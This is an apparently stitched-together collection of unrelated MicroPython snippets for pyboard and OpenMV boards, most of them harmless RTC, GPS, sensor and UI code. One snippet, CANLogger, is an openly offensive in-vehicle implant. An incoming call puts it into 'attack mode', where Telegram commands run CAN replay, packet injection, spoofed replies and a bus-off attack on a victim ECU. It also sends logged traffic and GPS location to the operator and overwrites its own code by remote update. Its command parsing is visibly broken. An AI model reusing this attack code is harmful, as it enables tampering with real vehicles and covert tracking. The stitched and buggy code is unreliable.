last_print = current print( "="*40 ) # Time & date from GPS informations (UTC time) print('GPS FIX timestamp: {:02}/{:02}/{} {:02}:{:02}:{:02}'.format( # Grab parts of the time from the struct_time object that holds # the fix time. Note you might not get all data like year, day, # month! gps.timestamp_utc[1], # tm_mon (month) gps.timestamp_utc[2], # tm_mday (day in the month) gps.timestamp_utc[0], # tm_year gps.timestamp_utc[3], # tm_hour gps.timestamp_utc[4], # tm_min gps.timestamp_utc[5])) # tm_sec #Time & date from internal RTC rtc_datetime = rtc.datetime() print('RTC timestamp: {:02}/{:02}/{} {:02}:{:02}:{:02}'.format( rtc_datetime[1], # tm_mon (month) rtc_datetime[2], # tm_mday (day in the month) rtc_datetime[0], # tm_year rtc_datetime[4], # tm_hour rtc_datetime[5], # tm_min rtc_datetime[6] )) # tm_sec #Time & date from time.localtime() function # at format (2019, 10, 4, 13, 3, 17, 4, 277) y,m,d, HH,MM,SS,subS local_time = time.localtime() print("Local time: {:02}/{:02}/{} {:02}:{:02}:{:02}".format( local_time[1], # tm_mon (month) local_time[2], # tm_mday (day in the month) local_time[0], # tm_year
PIR_PIN = Pin.board.P4 RED_LED_ID = 1 def callback(line): pass led = LED(RED_LED_ID) pir = Pin(PIR_PIN, Pin.IN) ext = ExtInt(pir, ExtInt.IRQ_RISING, Pin.PULL_NONE, callback) led.on() rtc = RTC() rtc.datetime((2021, 3, 21, 7, 17, 00, 0, 0)) # When connecting LiPo sensor.reset() sensor.set_pixformat(sensor.RGB565) sensor.set_framesize(sensor.WQXGA2) sensor.skip_frames(time=2000) # Let settings take effect led.off() while True: led.on() t = rtc.datetime() y = str(t[0]) m = '%02d' % t[1] d = '%02d' % t[2] # w = '%d' % t[3] h = '%02d' % t[4] n = '%02d' % t[5] s = '%02d' % t[6]
# Receiver code for Cawthron Institute's mussel farm accelerometer chain # Author: Kevin Tang """ DEFAULT VALUES MODE: 1 HZ BAUD RATE: 9600 DATA FRAME: bits=8, parity=None, stop=1, timeout=0 WDT TIMEOUT: 3000ms ACCELEROMETER RANGE: 2G ACCELEROMETER FREQUENCY: 10HZ """ from machine import I2C, Pin, SPI, UART, WDT from lis3dh import LIS3DH, LIS3DH_I2C, RANGE_2_G, DATARATE_10_HZ, STANDARD_GRAVITY from pyb import ADC, RTC from ds3231_port import DS3231 import time import os import sys import math global ID global timer ID = 0 # Receiver ID (0-9). MAKE SURE TO CHANGE timer = 1 # By default, sleep value is set to 1s (1 Hz mode) # Enable Watchdog timer if using battery global TIMEOUT_VALUE TIMEOUT_VALUE = 3000 if pyb.Pin.board.USB_VBUS.value() == 0: wdt = WDT(timeout = TIMEOUT_VALUE) # enable with a timeout of 3 seconds if sys.platform == 'pyboard': # Initialising pins
class CANLogger(object): def __init__(self): # Constants and variables # # UART cmd to en-/disable the GPS self.GPS_OFF = (0xB5, 0x62, 0x06, 0x04, 0x04, 0x00, 0x00, 0x00, 0x08, 0x00, 0x16, 0x74) self.GPS_ON = (0xB5, 0x62, 0x06, 0x04, 0x04, 0x00, 0x00, 0x00, 0x09, 0x00, 0x17, 0x76) self.SIM_DISABLED = False self.GPS_LOG_TIME = 5000 # 5s self.SHUTOFF_TIME = 30000 # 30s of no CAN activity self.TOKEN = "REDACTED" self.VERSION = 1.0 if 'sd' in os.listdir('/'): self.PATH = '/sd/' else: self.PATH = '' self.CAN_FILE = open(self.PATH + 'can.log', 'a+') # This will hold CAN IDs to be filtered for in the can log self.can_filter = [] self.allowed_users = ["610574975"] self.interrupt = False self.shutdown = False # Init modules # # GPS init self.gps_uart = UART(1, 9600) # init with given baudrate self.gps_uart.init(9600, bits=8, parity=None, stop=1, read_buf_len=512 // 2) # init with given parameters self.gps = MicropyGPS() # CAN init (500 MHz) self.can = CAN(1, CAN.NORMAL) # recv self.can2 = CAN(2, CAN.NORMAL) # send self.can.init(CAN.NORMAL, prescaler=4, sjw=1, bs1=14, bs2=6, auto_restart=True) self.can2.init(CAN.NORMAL, prescaler=4, sjw=1, bs1=14, bs2=6, auto_restart=True) self.can.setfilter(0, CAN.MASK16, 0, (0, 0, 0, 0)) # SIM800L init sim_uart = UART(4, 9600, timeout=1000, read_buf_len=2048 // 4) self.modem = Modem(sim_uart) self.modem.initialize() try: self.modem.connect('internet.eplus.de') except: self.SIM_DISABLED = True print("LOG ONLY MODE (NO GSM)") # Clock init self.rtc = RTC() self.rtc.wakeup(5000) # wakeup call every 5s # Interrupt Flag init self.interrupt = False pyb.ExtInt('X5', pyb.ExtInt.IRQ_FALLING, pyb.Pin.PULL_UP, self.incoming_call) # Sleep pins for GSM self.gsm_sleep = pyb.Pin('X6', pyb.Pin.OUT_PP) self.gsm_sleep.value(0) if not self.SIM_DISABLED: # Software Update self.ota() # Telegram Bot self.telegram = TelegramBot(token=self.TOKEN, modem=self.modem) # Logs input to can.log # args will be separated by comma and printed each time a new line def log(self, *args, file='can.log'): # With this case writing to can.log is quite a lot faster, as closing a file takes ages due to writing to fs # But we must ensure to close the file at some point if file is not 'can.log': with open(self.PATH + file, 'a+') as f: print(','.join(args), file=f) os.sync() else: # ensure we have an open file # if self.CAN_FILE.closed: # closed does not exists, thus need workaround below try: self.CAN_FILE.read() except OSError: self.CAN_FILE = open(self.PATH + 'can.log', 'a+') print(','.join(args), file=self.CAN_FILE) # Override is working def ota(self): url = 'https://raw.githubusercontent.com/jsonnet/CANLogger/master/version' response = self.modem.http_request(url, 'GET') # If a newer version is available if float(response.text) > self.VERSION: url = 'https://raw.githubusercontent.com/jsonnet/CANLogger/master/code/main.py' response = self.modem.http_request(url, 'GET') # Override existing main file and reboot with open(self.PATH + 'main.py', 'w') as f: print(response.text, file=f) # Force buffer write and restart os.sync() machine.soft_reset() # Callback function for incoming call to initiate attack mode def incoming_call(self, _): # Hangup call self.modem.hangup() # Reactivate logger if called during sleep phase if self.shutdown: self.shutdown = False self.gsm_sleep.value(0) self.sendGPSCmd(self.GPS_ON) for u in self.allowed_users: self.telegram.send(u, 'Ready in attack mode!') # light up yellow to indicate attack mode LED(3).intensity(16) self.interrupt = True # PoC for Telegram def message_handler(self, messages): for message in messages: # Check permitted users if message['id'] not in self.allowed_users: continue if message[2] == '/start': self.telegram.send( message[0], 'CAN Logger in attack mode, ready for you!') else: if message['text'] == "log": params = message['text'].strip().split(" ")[1:] # get if params[0] == 'get': self.telegram.sendFile( message[0], open(self.PATH + 'can.log', 'rb')) # with open(self.PATH + 'can.log', 'r') as f: # data = f.read() # Okay, will print \n explicitly! # self.telegram.send(message[0], data) os.remove(self.PATH + 'can.log') # clear elif params[0] == 'clear': os.remove(self.PATH + 'can.log') else: self.helpMessage(message) elif message['text'] == "replay": # Find first message of id and resend x times params = message['text'].strip().split(" ")[1:] if len(params) < 2: self.helpMessage(message) continue id, times = params[0:1] while True: can_id, _, _, can_data = self.can.recv(0) if can_id == id: for _ in times: self.can2.send(can_data, can_id, timeout=1000) self.log("sent {} from {} {} times".format( can_data, can_id, times)) break elif message['text'] == "injection": params = message['text'].split(" ")[1:] if len(params) < 4: self.helpMessage(message) continue can_id, can_data, times, _delay = params[0:2] for _ in times: self.can2.send(can_data, can_id, timeout=1000) pyb.delay(_delay) elif message['text'] == "reply": params = message['text'].strip().split(" ")[1:] if len(params) < 4: self.helpMessage(message) continue id, message, id_a, answer = params[0:3] while True: can_id, _, _, can_data = self.can.recv(0) if can_id == id and can_data == message: self.can2.send(answer, id_a, timeout=1000) break elif message[ 'text'] == "busoff": # TODO WIP feature only manual at that point params = message['text'].strip().split(" ")[1:] if len(params) < 4: self.helpMessage(message) continue mark_id, vic_id, payload, _delay = params[0:3] self.can.setfilter(0, CAN.LIST16, 0, ( mark_id, vic_id, )) # Clear buffer (maybe/hopefully) for _ in range(5): if not self.can.any(0): break self.can.recv(0) count = 0 while count <= 5: can_id, _, _, can_data = self.can.recv(0) if can_id == mark_id: pyb.delay(_delay) self.can2.send(payload, vic_id, timeout=1000) while True: can_id, _, _, can_data = self.can.recv(0) if can_id == vic_id and can_data != payload: count = 0 break count += 1 # reset filter self.can.setfilter(0, CAN.MASK16, 0, (0, 0, 0, 0)) elif message['text'] == "filter": # CAN Log Filter by ID params = message['text'].strip().split(" ")[1:] # add if params[0] == 'add': for id in params[1:]: self.can_filter.append(id) # remove elif params[0] == 'remove': for id in params[1:]: self.can_filter.remove(id) # clear elif params[0] == 'clear': self.can_filter.clear() else: self.helpMessage(message) elif message['text'] == "ota": self.ota() elif message['text'] == "help": self.helpMessage(message) elif message['text'] == "exit": LED(3).off() self.interrupt = False self.telegram.send(message[0], 'Executed!') def helpMessage(self, message): helpme = """ log get|clear - Retrieve or clear saved can data log replay id freq - Replay messages of given id reply id message answer - Reply to a specified message with an answer injection id data freq delay - Inject given can packet into bus at a given frequency busoff marker victim payload freq - Manual BUS off attack for given victim filter add|remove|clear id - Set a filter for when logging ota - Check and update newest version help - Displays this message exit - Exit this mode and return to logging """ self.telegram.send(message[0], helpme) def sendGPSCmd(self, cmd): for i in range(len(cmd)): self.gps_uart.writechar(cmd[i]) def loop(self): gps_time = utime.ticks_ms() while True: # Check if new messages arrived after shutdown if self.shutdown and not self.can.any(0): pyb.stop() # soft sleep (500 uA) continue elif self.shutdown and self.can.any(0): self.shutdown = False self.gsm_sleep.value(0) self.sendGPSCmd(self.GPS_ON) # Main loop if not self.interrupt: # Free memory # gc.collect() ## Logging mode ## # Only log gps once a few seconds if utime.ticks_ms() - gps_time >= self.GPS_LOG_TIME: gps_time = utime.ticks_ms() # if module retrieved data: update and log if self.gps_uart.any(): self.gps.updateall(self.gps_uart.read()) self.log(str(self.rtc.datetime()), self.gps.latitude_string(), self.gps.longitude_string(), self.gps.speed_string()) # Log new incoming can messages try: # throws OSError can_id, _, _, can_data = self.can.recv( 0, timeout=self.SHUTOFF_TIME) # Filter for CAN Log if not self.can_filter or can_id in self.can_filter: self.log(str(self.rtc.datetime()), str(can_id), binascii.hexlify(can_data).decode('utf-8')) except OSError: # We timed out from can connection -> could mean car is shut down self.shutdown = True self.CAN_FILE.close() os.sync() self.gsm_sleep.value(1) self.sendGPSCmd(self.GPS_OFF) continue else: ## Attack mode ## self.CAN_FILE.close() # Close log file first os.sync() while self.interrupt: self.telegram.listen(self.message_handler)
# External interrupts¶ # See pyb.ExtInt. from pyb import Pin, ExtInt callback = lambda e: print("intr") ext = ExtInt(Pin("Y1"), ExtInt.IRQ_RISING, Pin.PULL_NONE, callback) # RTC (real time clock) # See pyb.RTC from pyb import RTC rtc = RTC() rtc.datetime((2017, 8, 23, 1, 12, 48, 0, 0)) # set a specific date and time rtc.datetime() # get date and time # PWM (pulse width modulation)¶ # See pyb.Pin and pyb.Timer. from pyb import Pin, Timer p = Pin("X1") # X1 has TIM2, CH1 tim = Timer(2, freq=1000) ch = tim.channel(1, Timer.PWM, pin=p) ch.pulse_width_percent(50) # ADC (analog to digital conversion)¶ # See pyb.Pin and pyb.ADC.
""" test_wording.py - test translation from clock (h:m) to words. EG: 23:40 -> ['IL', 'EST', 'DOUZE', 'HEURES', 'MOINS', 'VINGT'] * Author(s): Meurisse D. from MCHobby (shop.mchobby.be). See project source @ https://github.com/mchobby/pyboard-projects/tree/master/word-clock """ from wclib import * # Initialize a date structure from pyb import RTC rtc = RTC() dt = rtc.datetime() delta_min = 3 # increment by 3 minutes total_min = 0 while total_min < 1440: # up to 24H words = time_to_words(dt[4], dt[5]) print( "%2s:%2s -> %s" % ( dt[4], dt[5], words) ) total_min = total_min + delta_min # Add minutes to date _l = list( dt ) # Tuple to list (because tuple are immutable) _l[5] += 3 if _l[5]>59: _l[4] += 1 _l[5] = _l[5]-59 if _l[4]>23: _l[4] = 0
""" H:2 -- Sig:1 S:1 -- Sig:2 U:0 -- Sig:3 """ import time, sensor, image from image import SEARCH_EX, SEARCH_DS import pyb, ustruct from pyb import LED from machine import I2C from pyb import RTC rtc = RTC() rtc.datetime((2000, 0, 0, 0, 0, 0, 0, 0)) sensor.reset() sensor.set_contrast(1) sensor.set_gainceiling(16) sensor.set_framesize(sensor.QQVGA) sensor.set_pixformat(sensor.RGB565) spi = pyb.SPI(2, pyb.SPI.SLAVE) spi.init(2, pyb.SPI.SLAVE, polarity=0, phase=0, bits=8) sig = pyb.Pin("P3", pyb.Pin.OUT_PP, pyb.Pin.PULL_DOWN) pin = pyb.Pin("P9", pyb.Pin.IN, pull=pyb.Pin.PULL_UP) ht = image.Image("/H-UE.pgm") ut = image.Image("/U-UE.pgm") st = image.Image("/S-UE.pgm") i2c = I2C(scl="P4", sda="P5", freq=120000) led = pyb.Pin("P8", pyb.Pin.OUT_PP, pyb.Pin.PULL_NONE) clock = time.clock()
import pyb, stm from pyb import RTC rtc = RTC() rtc.init() print(rtc) # make sure that 1 second passes correctly rtc.datetime((2014, 1, 1, 1, 0, 0, 0, 0)) pyb.delay(1001) print(rtc.datetime()[:7]) def set_and_print(datetime): rtc.datetime(datetime) print(rtc.datetime()[:7]) # make sure that setting works correctly set_and_print((2000, 1, 1, 1, 0, 0, 0, 0)) set_and_print((2000, 1, 31, 1, 0, 0, 0, 0)) set_and_print((2000, 12, 31, 1, 0, 0, 0, 0)) set_and_print((2016, 12, 31, 1, 0, 0, 0, 0)) set_and_print((2016, 12, 31, 7, 0, 0, 0, 0)) set_and_print((2016, 12, 31, 7, 1, 0, 0, 0)) set_and_print((2016, 12, 31, 7, 12, 0, 0, 0)) set_and_print((2016, 12, 31, 7, 13, 0, 0, 0)) set_and_print((2016, 12, 31, 7, 23, 0, 0, 0)) set_and_print((2016, 12, 31, 7, 23, 1, 0, 0)) set_and_print((2016, 12, 31, 7, 23, 59, 0, 0)) set_and_print((2016, 12, 31, 7, 23, 59, 1, 0))
class Tab3: """Third tab, includes: white editable string - config name white editable string - time white editable string - date""" edit_mode = False is_draw = False cur_button = 0 def __init__(self, lcd, makhina_control): self.config_string = EditableButton(lcd, 75, 50, 128, 17, makhina_control.config) self.time_string = EditableButton(lcd, 30, 80, 128, 17, "00:00:00") self.time_string.plus = self.plus_handler_time self.time_string.minus = self.minus_handler_time self.date_string = EditableButton(lcd, 5, 100, 128, 17, "00:00:00") self.date_string.char_editing = 2 self.date_string.plus = self.plus_handler_date self.date_string.minus = self.minus_handler_date self.date_string.right = self.right_handler_date self.settings_buttons = [ self.config_string, self.time_string, self.date_string ] self.analog_buttons = [ makhina_control.plus_button, makhina_control.minus_button, makhina_control.right_button ] for anal_butt in self.analog_buttons: anal_butt.enabled = False self.makhina_control = makhina_control self.time_string.font_size = 1 self.date_string.font_size = 1 self.change_button = Button(lcd, 0, 125, 128, 30, "Изменить") self.change_button.text_position_x = 30 self.ok_button = Button(lcd, 0, 125, 64, 30, "Ок") self.cancel_button = Button(lcd, 64, 125, 64, 30, "Отм") self.cancel_button.text_position_x = 75 self.change_button.handler = self.change_handler self.ok_button.handler = self.ok_handler self.cancel_button.handler = self.cancel_handler self.rtc = RTC() loop = asyncio.get_event_loop() loop.create_task(self.timer()) def draw(self): self.is_draw = True self.makhina_control.plus_button.handler = self.plus_handler self.makhina_control.minus_button.handler = self.minus_handler self.makhina_control.right_button.handler = self.right_handler self.config_string.draw_normal() self.time_string.draw_normal() self.date_string.draw_normal() if self.edit_mode: self.ok_button.draw_normal() self.cancel_button.draw_normal() else: self.change_button.draw_normal() def change_handler(self): self.edit_mode_on() return 1 def toggle_button_highlight(self, n): if self.cur_button: self.settings_buttons[self.cur_button - 1].edit_mode = False self.settings_buttons[self.cur_button - 1].draw_normal() self.cur_button = 0 if n == self.cur_button else n def edit_mode_on(self): self.edit_mode = True self.toggle_button_highlight(1) self.settings_buttons[self.cur_button - 1].edit_mode = True for anal_butt in self.analog_buttons: anal_butt.enabled = True def edit_mode_off(self): self.edit_mode = False for anal_butt in self.analog_buttons: anal_butt.enabled = False if self.cur_button: self.settings_buttons[self.cur_button - 1].edit_mode = False self.settings_buttons[self.cur_button - 1].draw_normal() self.cur_button = 0 def ok_handler(self): self.edit_mode_off() if self.makhina_control.config != self.config_string.text: print("CHANGED CONFIG", self.config_string.text) self.makhina_control.change_current_config(self.config_string.text) hour, minute, second = self.time_string.text.split(":") year, month, day = self.date_string.text.split(":") self.rtc.datetime( list(map(int, [year, month, day, 0, hour, minute, second, 0]))) return 1 def cancel_handler(self): self.edit_mode_off() return 1 async def timer(self): while True: self.update_time() self.config_string.text = self.makhina_control.config await asyncio.sleep_ms(1000) def update_time(self): if not self.edit_mode and self.is_draw: year, month, date, _, hour, minute, second, _ = self.rtc.datetime() self.time_string.text = ":".join( [zfill(str(x), 2) for x in [hour, minute, second]]) self.time_string.draw_normal() new_date = ":".join( [zfill(str(x), 2) for x in [year, month, date]]) if self.date_string.text != new_date: self.date_string.text = new_date self.date_string.draw_normal() def plus_handler(self): self.settings_buttons[self.cur_button - 1].plus() def plus_handler_time(self): if self.time_string.char_editing == 0: new_digit = (int(self.time_string.text[0]) + 1) % 3 self.time_string.text = str(new_digit) + self.time_string.text[1:] elif self.time_string.char_editing == 3: new_digit = (int(self.time_string.text[3]) + 1) % 6 self.time_string.text = self.time_string.text[:3] + str( new_digit) + self.time_string.text[4:] elif self.time_string.char_editing == 6: new_digit = (int(self.time_string.text[6]) + 1) % 6 self.time_string.text = self.time_string.text[:6] + str( new_digit) + self.time_string.text[7:] else: new_digit = (int( self.time_string.text[self.time_string.char_editing]) + 1) % 10 self.time_string.text = self.time_string.text[:self.time_string.char_editing] + str(new_digit)\ + self.time_string.text[self.time_string.char_editing + 1:] self.time_string.draw_normal() def minus_handler_time(self): if self.time_string.char_editing == 0: new_digit = (int(self.time_string.text[0]) - 1) % 3 self.time_string.text = str(new_digit) + self.time_string.text[1:] elif self.time_string.char_editing == 3: new_digit = (int(self.time_string.text[3]) - 1) % 6 self.time_string.text = self.time_string.text[:3] + str( new_digit) + self.time_string.text[4:] elif self.time_string.char_editing == 6: new_digit = (int(self.time_string.text[6]) - 1) % 6 self.time_string.text = self.time_string.text[:6] + str( new_digit) + self.time_string.text[7:] else: new_digit = (int( self.time_string.text[self.time_string.char_editing]) - 1) % 10 self.time_string.text = self.time_string.text[:self.time_string.char_editing] + str(new_digit)\ + self.time_string.text[self.time_string.char_editing + 1:] self.time_string.draw_normal() def plus_handler_date(self): if self.date_string.char_editing == 5: new_digit = (int(self.date_string.text[5]) + 1) % 2 self.date_string.text = self.date_string.text[:5] + str( new_digit) + self.date_string.text[6:] elif self.date_string.char_editing == 8: new_digit = (int(self.date_string.text[8]) + 1) % 4 self.date_string.text = self.date_string.text[:8] + str( new_digit) + self.date_string.text[9:] else: new_digit = (int( self.date_string.text[self.date_string.char_editing]) + 1) % 10 self.date_string.text = self.date_string.text[:self.date_string.char_editing] + str(new_digit)\ + self.date_string.text[self.date_string.char_editing + 1:] def minus_handler_date(self): if self.date_string.char_editing == 5: new_digit = (int(self.date_string.text[5]) - 1) % 2 self.date_string.text = self.date_string.text[:5] + str( new_digit) + self.date_string.text[6:] elif self.date_string.char_editing == 8: new_digit = (int(self.date_string.text[8]) - 1) % 4 self.date_string.text = self.date_string.text[:8] + str( new_digit) + self.date_string.text[9:] else: new_digit = (int( self.date_string.text[self.date_string.char_editing]) - 1) % 10 self.date_string.text = self.date_string.text[:self.date_string.char_editing] + str(new_digit)\ + self.date_string.text[self.date_string.char_editing + 1:] self.date_string.draw_normal() def right_handler_date(self): print("RIGHT HANDLER DATA") next_index = (self.date_string.char_editing + 1) % len( self.date_string.text) self.date_string.char_editing += 1 if self.date_string.text[ next_index] in '0123456789' else 2 self.date_string.char_editing %= len(self.date_string.text) if self.date_string.char_editing < 2: self.date_string.char_editing = 2 self.date_string.draw_normal() def minus_handler(self): self.settings_buttons[self.cur_button - 1].minus() def right_handler(self): self.settings_buttons[self.cur_button - 1].right() def handle_touch(self, x, y): if self.edit_mode: for i, button in enumerate(self.settings_buttons, 1): result = button.handle_touch(x, y) if result: self.toggle_button_highlight(i) return result for button in [self.ok_button, self.cancel_button]: result = button.handle_touch(x, y) if result: return result else: return self.change_button.handle_touch(x, y) def clear(self): self.edit_mode_off() self.is_draw = False self.config_string.clear() self.time_string.clear() self.date_string.clear() if self.edit_mode: self.ok_button.clear() self.cancel_button.clear() else: self.change_button.clear()